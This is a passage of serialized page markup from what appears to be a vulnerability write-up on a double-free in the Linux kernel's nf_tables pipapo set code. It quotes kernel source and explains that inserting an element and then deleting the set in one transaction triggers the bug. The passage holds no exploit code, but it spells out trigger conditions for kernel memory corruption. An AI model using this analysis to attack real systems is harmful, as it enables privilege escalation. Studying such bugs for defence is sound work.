const",{"type":23,"tag":481,"props":49196,"children":49197},{"style":497},[49198],{"type":28,"value":18649},{"type":23,"tag":481,"props":49200,"children":49201},{"style":525},[49202],{"type":28,"value":48625},{"type":23,"tag":481,"props":49204,"children":49205},{"style":514},[49206],{"type":28,"value":2120},{"type":23,"tag":481,"props":49208,"children":49209},{"style":508},[49210],{"type":28,"value":48545},{"type":23,"tag":481,"props":49212,"children":49213},{"style":525},[49214],{"type":28,"value":1033},{"type":23,"tag":481,"props":49216,"children":49217},{"class":483,"line":531},[49218,49222,49226,49231,49235,49240],{"type":23,"tag":481,"props":49219,"children":49220},{"style":497},[49221],{"type":28,"value":49194},{"type":23,"tag":481,"props":49223,"children":49224},{"style":497},[49225],{"type":28,"value":18649},{"type":23,"tag":481,"props":49227,"children":49228},{"style":525},[49229],{"type":28,"value":49230}," nft_elem_priv ",{"type":23,"tag":481,"props":49232,"children":49233},{"style":514},[49234],{"type":28,"value":2120},{"type":23,"tag":481,"props":49236,"children":49237},{"style":508},[49238],{"type":28,"value":49239},"elem_priv",{"type":23,"tag":481,"props":49241,"children":49242},{"style":525},[49243],{"type":28,"value":675},{"type":23,"tag":481,"props":49245,"children":49246},{"class":483,"line":567},[49247],{"type":23,"tag":481,"props":49248,"children":49249},{"style":525},[49250],{"type":28,"value":8366},{"type":23,"tag":481,"props":49252,"children":49253},{"class":483,"line":678},[49254,49258,49263,49267,49272,49276,49281],{"type":23,"tag":481,"props":49255,"children":49256},{"style":497},[49257],{"type":28,"value":18649},{"type":23,"tag":481,"props":49259,"children":49260},{"style":525},[49261],{"type":28,"value":49262}," nft_set_ext ",{"type":23,"tag":481,"props":49264,"children":49265},{"style":514},[49266],{"type":28,"value":2120},{"type":23,"tag":481,"props":49268,"children":49269},{"style":525},[49270],{"type":28,"value":49271},"ext ",{"type":23,"tag":481,"props":49273,"children":49274},{"style":514},[49275],{"type":28,"value":603},{"type":23,"tag":481,"props":49277,"children":49278},{"style":610},[49279],{"type":28,"value":49280}," nft_set_elem_ext",{"type":23,"tag":481,"props":49282,"children":49283},{"style":525},[49284],{"type":28,"value":49285},"(set, elem_priv);\n",{"type":23,"tag":481,"props":49287,"children":49288},{"class":483,"line":784},[49289],{"type":23,"tag":481,"props":49290,"children":49291},{"emptyLinePlaceholder":15},[49292],{"type":28,"value":1210},{"type":23,"tag":481,"props":49294,"children":49295},{"class":483,"line":812},[49296,49300,49304,49309],{"type":23,"tag":481,"props":49297,"children":49298},{"style":535},[49299],{"type":28,"value":13278},{"type":23,"tag":481,"props":49301,"children":49302},{"style":525},[49303],{"type":28,"value":578},{"type":23,"tag":481,"props":49305,"children":49306},{"style":610},[49307],{"type":28,"value":49308},"nft_set_ext_exists",{"type":23,"tag":481,"props":49310,"children":49311},{"style":525},[49312],{"type":28,"value":49313},"(ext, NFT_SET_EXT_EXPRESSIONS))\n",{"type":23,"tag":481,"props":49315,"children":49316},{"class":483,"line":825},[49317,49322,49327,49332],{"type":23,"tag":481,"props":49318,"children":49319},{"style":610},[49320],{"type":28,"value":49321}," nft_set_elem_expr_destroy",{"type":23,"tag":481,"props":49323,"children":49324},{"style":525},[49325],{"type":28,"value":49326},"(ctx, ",{"type":23,"tag":481,"props":49328,"children":49329},{"style":610},[49330],{"type":28,"value":49331},"nft_set_ext_expr",{"type":23,"tag":481,"props":49333,"children":49334},{"style":525},[49335],{"type":28,"value":49336},"(ext));\n",{"type":23,"tag":481,"props":49338,"children":49339},{"class":483,"line":843},[49340],{"type":23,"tag":481,"props":49341,"children":49342},{"emptyLinePlaceholder":15},[49343],{"type":28,"value":1210},{"type":23,"tag":481,"props":49345,"children":49346},{"class":483,"line":864},[49347,49352],{"type":23,"tag":481,"props":49348,"children":49349},{"style":610},[49350],{"type":28,"value":49351}," kfree",{"type":23,"tag":481,"props":49353,"children":49354},{"style":525},[49355],{"type":28,"value":49356},"(elem_priv);\n",{"type":23,"tag":481,"props":49358,"children":49359},{"class":483,"line":873},[49360],{"type":23,"tag":481,"props":49361,"children":49362},{"style":525},[49363],{"type":28,"value":1443},{"type":23,"tag":24,"props":49365,"children":49366},{},[49367,49368,49374,49376,49381,49383,49388,49390,49395,49396,49401,49403,49408,49410,49415,49417,49422],{"type":28,"value":14104},{"type":23,"tag":64,"props":49369,"children":49371},{"className":49370},[],[49372],{"type":28,"value":49373},"nft_pipapo_match",{"type":28,"value":49375}," objects contain views of the ",{"type":23,"tag":64,"props":49377,"children":49379},{"className":49378},[],[49380],{"type":28,"value":48537},{"type":28,"value":49382},"'s of a ",{"type":23,"tag":64,"props":49384,"children":49386},{"className":49385},[],[49387],{"type":28,"value":48545},{"type":28,"value":49389},". The difference between the ",{"type":23,"tag":64,"props":49391,"children":49393},{"className":49392},[],[49394],{"type":28,"value":48522},{"type":28,"value":8478},{"type":23,"tag":64,"props":49397,"children":49399},{"className":49398},[],[49400],{"type":28,"value":48506},{"type":28,"value":49402}," match objects is that the clone has a view of not only already committed ",{"type":23,"tag":64,"props":49404,"children":49406},{"className":49405},[],[49407],{"type":28,"value":48537},{"type":28,"value":49409},"'s that the \"normal\" one has but also a view of the ",{"type":23,"tag":64,"props":49411,"children":49413},{"className":49412},[],[49414],{"type":28,"value":48537},{"type":28,"value":49416},"'s that was still not committed that only exists in the current control-plane. In other words, the control plane makes changes to the clone, and if the commit path is reached, the changes are committed to ",{"type":23,"tag":64,"props":49418,"children":49420},{"className":49419},[],[49421],{"type":28,"value":48522},{"type":28,"value":199},{"type":23,"tag":7092,"props":49424,"children":49426},{"id":49425},"root-cause-analysis",[49427],{"type":28,"value":49428},"Root-cause analysis",{"type":23,"tag":24,"props":49430,"children":49431},{},[49432,49434,49440,49442,49447],{"type":28,"value":49433},"So ",{"type":23,"tag":64,"props":49435,"children":49437},{"className":49436},[],[49438],{"type":28,"value":49439},"nf_tables_set_elem_destroy",{"type":28,"value":49441}," being called for both match objects seems like a pretty straightforward double-free of the ",{"type":23,"tag":64,"props":49443,"children":49445},{"className":49444},[],[49446],{"type":28,"value":48537},{"type":28,"value":49448},"s that had already been committed since those will have duplicated views. At first glance, this is some bizarre-looking code. How did this bug come to be? How was it not detected before? Let's try to get to the bottom of it.",{"type":23,"tag":24,"props":49450,"children":49451},{},[49452,49454,49459,49461,49466,49468,49473,49475,49480,49482,49487],{"type":28,"value":49453},"We should now try to understand how to reach that path with the ",{"type":23,"tag":64,"props":49455,"children":49457},{"className":49456},[],[49458],{"type":28,"value":48499},{"type":28,"value":49460}," flag set, which is a member of the private data of a pipapo ",{"type":23,"tag":64,"props":49462,"children":49464},{"className":49463},[],[49465],{"type":28,"value":48537},{"type":28,"value":49467}," that becomes true whenever a change is made to the ",{"type":23,"tag":64,"props":49469,"children":49471},{"className":49470},[],[49472],{"type":28,"value":48545},{"type":28,"value":49474}," during the control-plane pass of a transaction. This is to tell the commit path that this ",{"type":23,"tag":64,"props":49476,"children":49478},{"className":49477},[],[49479],{"type":28,"value":48545},{"type":28,"value":49481}," has changes that have to be committed. If we refer to the code, we see that we can make the ",{"type":23,"tag":64,"props":49483,"children":49485},{"className":49484},[],[49486],{"type":28,"value":48545},{"type":28,"value":49488}," dirty by inserting a new element.",{"type":23,"tag":435,"props":49490,"children":49492},{"className":14005,"code":49491,"language":661,"meta":7,"style":7},"static int nft_pipapo_insert(const struct net *net, const struct nft_set *set,\n const struct nft_set_elem *elem,\n struct nft_elem_priv **elem_priv)\n{\n[...]\n priv->dirty = true;\n[...]\n}\n",[49493],{"type":23,"tag":64,"props":49494,"children":49495},{"__ignoreMap":7},[49496,49566,49595,49620,49627,49634,49663,49670],{"type":23,"tag":481,"props":49497,"children":49498},{"class":483,"line":484},[49499,49503,49507,49512,49516,49520,49524,49529,49533,49538,49542,49546,49550,49554,49558,49562],{"type":23,"tag":481,"props":49500,"children":49501},{"style":497},[49502],{"type":28,"value":48570},{"type":23,"tag":481,"props":49504,"children":49505},{"style":497},[49506],{"type":28,"value":48699},{"type":23,"tag":481,"props":49508,"children":49509},{"style":610},[49510],{"type":28,"value":49511}," nft_pipapo_insert",{"type":23,"tag":481,"props":49513,"children":49514},{"style":525},[49515],{"type":28,"value":618},{"type":23,"tag":481,"props":49517,"children":49518},{"style":497},[49519],{"type":28,"value":7139},{"type":23,"tag":481,"props":49521,"children":49522},{"style":497},[49523],{"type":28,"value":18649},{"type":23,"tag":481,"props":49525,"children":49526},{"style":525},[49527],{"type":28,"value":49528}," net ",{"type":23,"tag":481,"props":49530,"children":49531},{"style":514},[49532],{"type":28,"value":2120},{"type":23,"tag":481,"props":49534,"children":49535},{"style":508},[49536],{"type":28,"value":49537},"net",{"type":23,"tag":481,"props":49539,"children":49540},{"style":525},[49541],{"type":28,"value":588},{"type":23,"tag":481,"props":49543,"children":49544},{"style":497},[49545],{"type":28,"value":7139},{"type":23,"tag":481,"props":49547,"children":49548},{"style":497},[49549],{"type":28,"value":18649},{"type":23,"tag":481,"props":49551,"children":49552},{"style":525},[49553],{"type":28,"value":48625},{"type":23,"tag":481,"props":49555,"children":49556},{"style":514},[49557],{"type":28,"value":2120},{"type":23,"tag":481,"props":49559,"children":49560},{"style":508},[49561],{"type":28,"value":48545},{"type":23,"tag":481,"props":49563,"children":49564},{"style":525},[49565],{"type":28,"value":1033},{"type":23,"tag":481,"props":49567,"children":49568},{"class":483,"line":351},[49569,49573,49577,49582,49586,49591],{"type":23,"tag":481,"props":49570,"children":49571},{"style":497},[49572],{"type":28,"value":30417},{"type":23,"tag":481,"props":49574,"children":49575},{"style":497},[49576],{"type":28,"value":18649},{"type":23,"tag":481,"props":49578,"children":49579},{"style":525},[49580],{"type":28,"value":49581}," nft_set_elem ",{"type":23,"tag":481,"props":49583,"children":49584},{"style":514},[49585],{"type":28,"value":2120},{"type":23,"tag":481,"props":49587,"children":49588},{"style":508},[49589],{"type":28,"value":49590},"elem",{"type":23,"tag":481,"props":49592,"children":49593},{"style":525},[49594],{"type":28,"value":1033},{"type":23,"tag":481,"props":49596,"children":49597},{"class":483,"line":531},[49598,49603,49607,49612,49616],{"type":23,"tag":481,"props":49599,"children":49600},{"style":497},[49601],{"type":28,"value":49602}," struct",{"type":23,"tag":481,"props":49604,"children":49605},{"style":525},[49606],{"type":28,"value":49230},{"type":23,"tag":481,"props":49608,"children":49609},{"style":514},[49610],{"type":28,"value":49611},"**",{"type":23,"tag":481,"props":49613,"children":49614},{"style":508},[49615],{"type":28,"value":49239},{"type":23,"tag":481,"props":49617,"children":49618},{"style":525},[49619],{"type":28,"value":675},{"type":23,"tag":481,"props":49621,"children":49622},{"class":483,"line":567},[49623],{"type":23,"tag":481,"props":49624,"children":49625},{"style":525},[49626],{"type":28,"value":8366},{"type":23,"tag":481,"props":49628,"children":49629},{"class":483,"line":678},[49630],{"type":23,"tag":481,"props":49631,"children":49632},{"style":525},[49633],{"type":28,"value":7803},{"type":23,"tag":481,"props":49635,"children":49636},{"class":483,"line":784},[49637,49642,49646,49651,49655,49659],{"type":23,"tag":481,"props":49638,"children":49639},{"style":508},[49640],{"type":28,"value":49641}," priv",{"type":23,"tag":481,"props":49643,"children":49644},{"style":525},[49645],{"type":28,"value":11245},{"type":23,"tag":481,"props":49647,"children":49648},{"style":508},[49649],{"type":28,"value":49650},"dirty",{"type":23,"tag":481,"props":49652,"children":49653},{"style":514},[49654],{"type":28,"value":517},{"type":23,"tag":481,"props":49656,"children":49657},{"style":497},[49658],{"type":28,"value":9956},{"type":23,"tag":481,"props":49660,"children":49661},{"style":525},[49662],{"type":28,"value":528},{"type":23,"tag":481,"props":49664,"children":49665},{"class":483,"line":812},[49666],{"type":23,"tag":481,"props":49667,"children":49668},{"style":525},[49669],{"type":28,"value":7803},{"type":23,"tag":481,"props":49671,"children":49672},{"class":483,"line":825},[49673],{"type":23,"tag":481,"props":49674,"children":49675},{"style":525},[49676],{"type":28,"value":1443},{"type":23,"tag":24,"props":49678,"children":49679},{},[49680],{"type":28,"value":49681},"We also see that when the changes are commited, this flag is then unset.",{"type":23,"tag":435,"props":49683,"children":49685},{"className":14005,"code":49684,"language":661,"meta":7,"style":7},"static void nft_pipapo_commit(struct nft_set *set)\n{\n[...]\n if (!priv->dirty)\n return;\n[...]\n priv->dirty = false;\n[...]\n}\n",[49686],{"type":23,"tag":64,"props":49687,"children":49688},{"__ignoreMap":7},[49689,49729,49736,49743,49774,49785,49792,49819,49826],{"type":23,"tag":481,"props":49690,"children":49691},{"class":483,"line":484},[49692,49696,49700,49705,49709,49713,49717,49721,49725],{"type":23,"tag":481,"props":49693,"children":49694},{"style":497},[49695],{"type":28,"value":48570},{"type":23,"tag":481,"props":49697,"children":49698},{"style":497},[49699],{"type":28,"value":48575},{"type":23,"tag":481,"props":49701,"children":49702},{"style":610},[49703],{"type":28,"value":49704}," nft_pipapo_commit",{"type":23,"tag":481,"props":49706,"children":49707},{"style":525},[49708],{"type":28,"value":618},{"type":23,"tag":481,"props":49710,"children":49711},{"style":497},[49712],{"type":28,"value":6884},{"type":23,"tag":481,"props":49714,"children":49715},{"style":525},[49716],{"type":28,"value":48625},{"type":23,"tag":481,"props":49718,"children":49719},{"style":514},[49720],{"type":28,"value":2120},{"type":23,"tag":481,"props":49722,"children":49723},{"style":508},[49724],{"type":28,"value":48545},{"type":23,"tag":481,"props":49726,"children":49727},{"style":525},[49728],{"type":28,"value":675},{"type":23,"tag":481,"props":49730,"children":49731},{"class":483,"line":351},[49732],{"type":23,"tag":481,"props":49733,"children":49734},{"style":525},[49735],{"type":28,"value":8366},{"type":23,"tag":481,"props":49737,"children":49738},{"class":483,"line":531},[49739],{"type":23,"tag":481,"props":49740,"children":49741},{"style":525},[49742],{"type":28,"value":7803},{"type":23,"tag":481,"props":49744,"children":49745},{"class":483,"line":567},[49746,49750,49754,49758,49762,49766,49770],{"type":23,"tag":481,"props":49747,"children":49748},{"style":535},[49749],{"type":28,"value":13278},{"type":23,"tag":481,"props":49751,"children":49752},{"style":525},[49753],{"type":28,"value":578},{"type":23,"tag":481,"props":49755,"children":49756},{"style":514},[49757],{"type":28,"value":18119},{"type":23,"tag":481,"props":49759,"children":49760},{"style":508},[49761],{"type":28,"value":49101},{"type":23,"tag":481,"props":49763,"children":49764},{"style":525},[49765],{"type":28,"value":11245},{"type":23,"tag":481,"props":49767,"children":49768},{"style":508},[49769],{"type":28,"value":49650},{"type":23,"tag":481,"props":49771,"children":49772},{"style":525},[49773],{"type":28,"value":675},{"type":23,"tag":481,"props":49775,"children":49776},{"class":483,"line":678},[49777,49781],{"type":23,"tag":481,"props":49778,"children":49779},{"style":535},[49780],{"type":28,"value":36717},{"type":23,"tag":481,"props":49782,"children":49783},{"style":525},[49784],{"type":28,"value":528},{"type":23,"tag":481,"props":49786,"children":49787},{"class":483,"line":784},[49788],{"type":23,"tag":481,"props":49789,"children":49790},{"style":525},[49791],{"type":28,"value":7803},{"type":23,"tag":481,"props":49793,"children":49794},{"class":483,"line":812},[49795,49799,49803,49807,49811,49815],{"type":23,"tag":481,"props":49796,"children":49797},{"style":508},[49798],{"type":28,"value":49641},{"type":23,"tag":481,"props":49800,"children":49801},{"style":525},[49802],{"type":28,"value":11245},{"type":23,"tag":481,"props":49804,"children":49805},{"style":508},[49806],{"type":28,"value":49650},{"type":23,"tag":481,"props":49808,"children":49809},{"style":514},[49810],{"type":28,"value":517},{"type":23,"tag":481,"props":49812,"children":49813},{"style":497},[49814],{"type":28,"value":6539},{"type":23,"tag":481,"props":49816,"children":49817},{"style":525},[49818],{"type":28,"value":528},{"type":23,"tag":481,"props":49820,"children":49821},{"class":483,"line":825},[49822],{"type":23,"tag":481,"props":49823,"children":49824},{"style":525},[49825],{"type":28,"value":7803},{"type":23,"tag":481,"props":49827,"children":49828},{"class":483,"line":843},[49829],{"type":23,"tag":481,"props":49830,"children":49831},{"style":525},[49832],{"type":28,"value":1443},{"type":23,"tag":24,"props":49834,"children":49835},{},[49836,49838,49843,49845,49850,49852,49857,49859,49864,49866,49872,49874,49880,49882,49887],{"type":28,"value":49837},"We can conclude that as long as we can, in the same transaction, insert a ",{"type":23,"tag":64,"props":49839,"children":49841},{"className":49840},[],[49842],{"type":28,"value":48537},{"type":28,"value":49844}," in the ",{"type":23,"tag":64,"props":49846,"children":49848},{"className":49847},[],[49849],{"type":28,"value":48545},{"type":28,"value":49851}," to make it dirty and then delete the ",{"type":23,"tag":64,"props":49853,"children":49855},{"className":49854},[],[49856],{"type":28,"value":48545},{"type":28,"value":49858},", we will be able to trigger the double-free. But there is another condition: in the commit path, if a ",{"type":23,"tag":64,"props":49860,"children":49862},{"className":49861},[],[49863],{"type":28,"value":48545},{"type":28,"value":49865},"'s ",{"type":23,"tag":64,"props":49867,"children":49869},{"className":49868},[],[49870],{"type":28,"value":49871},"->commit()",{"type":28,"value":49873}," method is executed before its ",{"type":23,"tag":64,"props":49875,"children":49877},{"className":49876},[],[49878],{"type":28,"value":49879},"->destroy()",{"type":28,"value":49881}," method, then the ",{"type":23,"tag":64,"props":49883,"children":49885},{"className":49884},[],[49886],{"type":28,"value":49650},{"type":28,"value":49888}," flag will be unset, and we won't be able to trigger the double-free.",{"type":23,"tag":24,"props":49890,"children":49891},{},[49892],{"type":28,"value":49893},"Let's once again refer to the code and see how these methods are called.",{"type":23,"tag":435,"props":49895,"children":49897},{"className":14005,"code":49896,"language":661,"meta":7,"style":7},"static int nf_tables_commit(struct net *net, struct sk_buff *skb)\n{\n[...]\n case NFT_MSG_DELSET:\n case NFT_MSG_DESTROYSET: // [1]\n nft_trans_set(trans)->dead = 1; // [2]\n list_del_rcu(&nft_trans_set(trans)->list);\n nf_tables_set_notify(&trans->ctx, nft_trans_set(trans),\n trans->msg_type, GFP_KERNEL);\n break;\n case NFT_MSG_NEWSETELEM: // [3]\n[...]\n if (te->set->ops->commit &&\n list_empty(&te->set->pending_update)) {\n list_add_tail(&te->set->pending_update,\n &set_update_list);\n }\n[...]\n }\n\n nft_set_commit_update(&set_update_list);\n[...]\n nf_tables_commit_release(net);\n\n return 0;\n}\n",[49898],{"type":23,"tag":64,"props":49899,"children":49900},{"__ignoreMap":7},[49901,49963,49970,49977,49985,49998,50033,50067,50109,50131,50143,50156,50163,50211,50252,50292,50305,50312,50319,50326,50333,50358,50365,50378,50385,50401],{"type":23,"tag":481,"props":49902,"children":49903},{"class":483,"line":484},[49904,49908,49912,49917,49921,49925,49929,49933,49937,49941,49945,49950,49954,49959],{"type":23,"tag":481,"props":49905,"children":49906},{"style":497},[49907],{"type":28,"value":48570},{"type":23,"tag":481,"props":49909,"children":49910},{"style":497},[49911],{"type":28,"value":48699},{"type":23,"tag":481,"props":49913,"children":49914},{"style":610},[49915],{"type":28,"value":49916}," nf_tables_commit",{"type":23,"tag":481,"props":49918,"children":49919},{"style":525},[49920],{"type":28,"value":618},{"type":23,"tag":481,"props":49922,"children":49923},{"style":497},[49924],{"type":28,"value":6884},{"type":23,"tag":481,"props":49926,"children":49927},{"style":525},[49928],{"type":28,"value":49528},{"type":23,"tag":481,"props":49930,"children":49931},{"style":514},[49932],{"type":28,"value":2120},{"type":23,"tag":481,"props":49934,"children":49935},{"style":508},[49936],{"type":28,"value":49537},{"type":23,"tag":481,"props":49938,"children":49939},{"style":525},[49940],{"type":28,"value":588},{"type":23,"tag":481,"props":49942,"children":49943},{"style":497},[49944],{"type":28,"value":6884},{"type":23,"tag":481,"props":49946,"children":49947},{"style":525},[49948],{"type":28,"value":49949}," sk_buff ",{"type":23,"tag":481,"props":49951,"children":49952},{"style":514},[49953],{"type":28,"value":2120},{"type":23,"tag":481,"props":49955,"children":49956},{"style":508},[49957],{"type":28,"value":49958},"skb",{"type":23,"tag":481,"props":49960,"children":49961},{"style":525},[49962],{"type":28,"value":675},{"type":23,"tag":481,"props":49964,"children":49965},{"class":483,"line":351},[49966],{"type":23,"tag":481,"props":49967,"children":49968},{"style":525},[49969],{"type":28,"value":8366},{"type":23,"tag":481,"props":49971,"children":49972},{"class":483,"line":531},[49973],{"type":23,"tag":481,"props":49974,"children":49975},{"style":525},[49976],{"type":28,"value":7803},{"type":23,"tag":481,"props":49978,"children":49979},{"class":483,"line":567},[49980],{"type":23,"tag":481,"props":49981,"children":49982},{"style":525},[49983],{"type":28,"value":49984}," case NFT_MSG_DELSET:\n",{"type":23,"tag":481,"props":49986,"children":49987},{"class":483,"line":678},[49988,49993],{"type":23,"tag":481,"props":49989,"children":49990},{"style":525},[49991],{"type":28,"value":49992}," case NFT_MSG_DESTROYSET:",{"type":23,"tag":481,"props":49994,"children":49995},{"style":488},[49996],{"type":28,"value":49997}," // [1]\n",{"type":23,"tag":481,"props":49999,"children":50000},{"class":483,"line":784},[50001,50006,50011,50016,50020,50024,50028],{"type":23,"tag":481,"props":50002,"children":50003},{"style":610},[50004],{"type":28,"value":50005}," nft_trans_set",{"type":23,"tag":481,"props":50007,"children":50008},{"style":525},[50009],{"type":28,"value":50010},"(trans)->",{"type":23,"tag":481,"props":50012,"children":50013},{"style":508},[50014],{"type":28,"value":50015},"dead",{"type":23,"tag":481,"props":50017,"children":50018},{"style":514},[50019],{"type":28,"value":517},{"type":23,"tag":481,"props":50021,"children":50022},{"style":551},[50023],{"type":28,"value":2072},{"type":23,"tag":481,"props":50025,"children":50026},{"style":525},[50027],{"type":28,"value":46599},{"type":23,"tag":481,"props":50029,"children":50030},{"style":488},[50031],{"type":28,"value":50032}," // [2]\n",{"type":23,"tag":481,"props":50034,"children":50035},{"class":483,"line":812},[50036,50041,50045,50049,50054,50058,50063],{"type":23,"tag":481,"props":50037,"children":50038},{"style":610},[50039],{"type":28,"value":50040}," list_del_rcu",{"type":23,"tag":481,"props":50042,"children":50043},{"style":525},[50044],{"type":28,"value":618},{"type":23,"tag":481,"props":50046,"children":50047},{"style":514},[50048],{"type":28,"value":623},{"type":23,"tag":481,"props":50050,"children":50051},{"style":610},[50052],{"type":28,"value":50053},"nft_trans_set",{"type":23,"tag":481,"props":50055,"children":50056},{"style":525},[50057],{"type":28,"value":50010},{"type":23,"tag":481,"props":50059,"children":50060},{"style":508},[50061],{"type":28,"value":50062},"list",{"type":23,"tag":481,"props":50064,"children":50065},{"style":525},[50066],{"type":28,"value":1366},{"type":23,"tag":481,"props":50068,"children":50069},{"class":483,"line":825},[50070,50075,50079,50083,50088,50092,50096,50100,50104],{"type":23,"tag":481,"props":50071,"children":50072},{"style":610},[50073],{"type":28,"value":50074}," nf_tables_set_notify",{"type":23,"tag":481,"props":50076,"children":50077},{"style":525},[50078],{"type":28,"value":618},{"type":23,"tag":481,"props":50080,"children":50081},{"style":514},[50082],{"type":28,"value":623},{"type":23,"tag":481,"props":50084,"children":50085},{"style":508},[50086],{"type":28,"value":50087},"trans",{"type":23,"tag":481,"props":50089,"children":50090},{"style":525},[50091],{"type":28,"value":11245},{"type":23,"tag":481,"props":50093,"children":50094},{"style":508},[50095],{"type":28,"value":17778},{"type":23,"tag":481,"props":50097,"children":50098},{"style":525},[50099],{"type":28,"value":588},{"type":23,"tag":481,"props":50101,"children":50102},{"style":610},[50103],{"type":28,"value":50053},{"type":23,"tag":481,"props":50105,"children":50106},{"style":525},[50107],{"type":28,"value":50108},"(trans),\n",{"type":23,"tag":481,"props":50110,"children":50111},{"class":483,"line":843},[50112,50117,50121,50126],{"type":23,"tag":481,"props":50113,"children":50114},{"style":508},[50115],{"type":28,"value":50116}," trans",{"type":23,"tag":481,"props":50118,"children":50119},{"style":525},[50120],{"type":28,"value":11245},{"type":23,"tag":481,"props":50122,"children":50123},{"style":508},[50124],{"type":28,"value":50125},"msg_type",{"type":23,"tag":481,"props":50127,"children":50128},{"style":525},[50129],{"type":28,"value":50130},", GFP_KERNEL);\n",{"type":23,"tag":481,"props":50132,"children":50133},{"class":483,"line":864},[50134,50139],{"type":23,"tag":481,"props":50135,"children":50136},{"style":535},[50137],{"type":28,"value":50138}," break",{"type":23,"tag":481,"props":50140,"children":50141},{"style":525},[50142],{"type":28,"value":528},{"type":23,"tag":481,"props":50144,"children":50145},{"class":483,"line":873},[50146,50151],{"type":23,"tag":481,"props":50147,"children":50148},{"style":525},[50149],{"type":28,"value":50150}," case NFT_MSG_NEWSETELEM:",{"type":23,"tag":481,"props":50152,"children":50153},{"style":488},[50154],{"type":28,"value":50155}," // [3]\n",{"type":23,"tag":481,"props":50157,"children":50158},{"class":483,"line":1125},[50159],{"type":23,"tag":481,"props":50160,"children":50161},{"style":525},[50162],{"type":28,"value":7803},{"type":23,"tag":481,"props":50164,"children":50165},{"class":483,"line":1142},[50166,50171,50175,50180,50184,50188,50192,50197,50201,50206],{"type":23,"tag":481,"props":50167,"children":50168},{"style":535},[50169],{"type":28,"value":50170}," if",{"type":23,"tag":481,"props":50172,"children":50173},{"style":525},[50174],{"type":28,"value":578},{"type":23,"tag":481,"props":50176,"children":50177},{"style":508},[50178],{"type":28,"value":50179},"te",{"type":23,"tag":481,"props":50181,"children":50182},{"style":525},[50183],{"type":28,"value":11245},{"type":23,"tag":481,"props":50185,"children":50186},{"style":508},[50187],{"type":28,"value":48545},{"type":23,"tag":481,"props":50189,"children":50190},{"style":525},[50191],{"type":28,"value":11245},{"type":23,"tag":481,"props":50193,"children":50194},{"style":508},[50195],{"type":28,"value":50196},"ops",{"type":23,"tag":481,"props":50198,"children":50199},{"style":525},[50200],{"type":28,"value":11245},{"type":23,"tag":481,"props":50202,"children":50203},{"style":508},[50204],{"type":28,"value":50205},"commit",{"type":23,"tag":481,"props":50207,"children":50208},{"style":514},[50209],{"type":28,"value":50210}," &&\n",{"type":23,"tag":481,"props":50212,"children":50213},{"class":483,"line":1159},[50214,50219,50223,50227,50231,50235,50239,50243,50248],{"type":23,"tag":481,"props":50215,"children":50216},{"style":610},[50217],{"type":28,"value":50218}," list_empty",{"type":23,"tag":481,"props":50220,"children":50221},{"style":525},[50222],{"type":28,"value":618},{"type":23,"tag":481,"props":50224,"children":50225},{"style":514},[50226],{"type":28,"value":623},{"type":23,"tag":481,"props":50228,"children":50229},{"style":508},[50230],{"type":28,"value":50179},{"type":23,"tag":481,"props":50232,"children":50233},{"style":525},[50234],{"type":28,"value":11245},{"type":23,"tag":481,"props":50236,"children":50237},{"style":508},[50238],{"type":28,"value":48545},{"type":23,"tag":481,"props":50240,"children":50241},{"style":525},[50242],{"type":28,"value":11245},{"type":23,"tag":481,"props":50244,"children":50245},{"style":508},[50246],{"type":28,"value":50247},"pending_update",{"type":23,"tag":481,"props":50249,"children":50250},{"style":525},[50251],{"type":28,"value":32711},{"type":23,"tag":481,"props":50253,"children":50254},{"class":483,"line":1172},[50255,50260,50264,50268,50272,50276,50280,50284,50288],{"type":23,"tag":481,"props":50256,"children":50257},{"style":610},[50258],{"type":28,"value":50259}," list_add_tail",{"type":23,"tag":481,"props":50261,"children":50262},{"style":525},[50263],{"type":28,"value":618},{"type":23,"tag":481,"props":50265,"children":50266},{"style":514},[50267],{"type":28,"value":623},{"type":23,"tag":481,"props":50269,"children":50270},{"style":508},[50271],{"type":28,"value":50179},{"type":23,"tag":481,"props":50273,"children":50274},{"style":525},[50275],{"type":28,"value":11245},{"type":23,"tag":481,"props":50277,"children":50278},{"style":508},[50279],{"type":28,"value":48545},{"type":23,"tag":481,"props":50281,"children":50282},{"style":525},[50283],{"type":28,"value":11245},{"type":23,"tag":481,"props":50285,"children":50286},{"style":508},[50287],{"type":28,"value":50247},{"type":23,"tag":481,"props":50289,"children":50290},{"style":525},[50291],{"type":28,"value":1033},{"type":23,"tag":481,"props":50293,"children":50294},{"class":483,"line":1181},[50295,50300],{"type":23,"tag":481,"props":50296,"children":50297},{"style":514},[50298],{"type":28,"value":50299}," &",{"type":23,"tag":481,"props":50301,"children":50302},{"style":525},[50303],{"type":28,"value":50304},"set_update_list);\n",{"type":23,"tag":481,"props":50306,"children":50307},{"class":483,"line":1204},[50308],{"type":23,"tag":481,"props":50309,"children":50310},{"style":525},[50311],{"type":28,"value":32265},{"type":23,"tag":481,"props":50313,"children":50314},{"class":483,"line":1213},[50315],{"type":23,"tag":481,"props":50316,"children":50317},{"style":525},[50318],{"type":28,"value":7803},{"type":23,"tag":481,"props":50320,"children":50321},{"class":483,"line":1222},[50322],{"type":23,"tag":481,"props":50323,"children":50324},{"style":525},[50325],{"type":28,"value":7079},{"type":23,"tag":481,"props":50327,"children":50328},{"class":483,"line":1291},[50329],{"type":23,"tag":481,"props":50330,"children":50331},{"emptyLinePlaceholder":15},[50332],{"type":28,"value":1210},{"type":23,"tag":481,"props":50334,"children":50335},{"class":483,"line":1299},[50336,50341,50345,50349,50354],{"type":23,"tag":481,"props":50337,"children":50338},{"style":610},[50339],{"type":28,"value":50340}," nft_set_commit_update",{"type":23,"tag":481,"props":50342,"children":50343},{"style":525},[50344],{"type":28,"value":618},{"type":23,"tag":481,"props":50346,"children":50347},{"style":514},[50348],{"type":28,"value":623},{"type":23,"tag":481,"props":50350,"children":50351},{"style":508},[50352],{"type":28,"value":50353},"set_update_list",{"type":23,"tag":481,"props":50355,"children":50356},{"style":525},[50357],{"type":28,"value":1366},{"type":23,"tag":481,"props":50359,"children":50360},{"class":483,"line":1329},[50361],{"type":23,"tag":481,"props":50362,"children":50363},{"style":525},[50364],{"type":28,"value":7803},{"type":23,"tag":481,"props":50366,"children":50367},{"class":483,"line":1337},[50368,50373],{"type":23,"tag":481,"props":50369,"children":50370},{"style":610},[50371],{"type":28,"value":50372}," 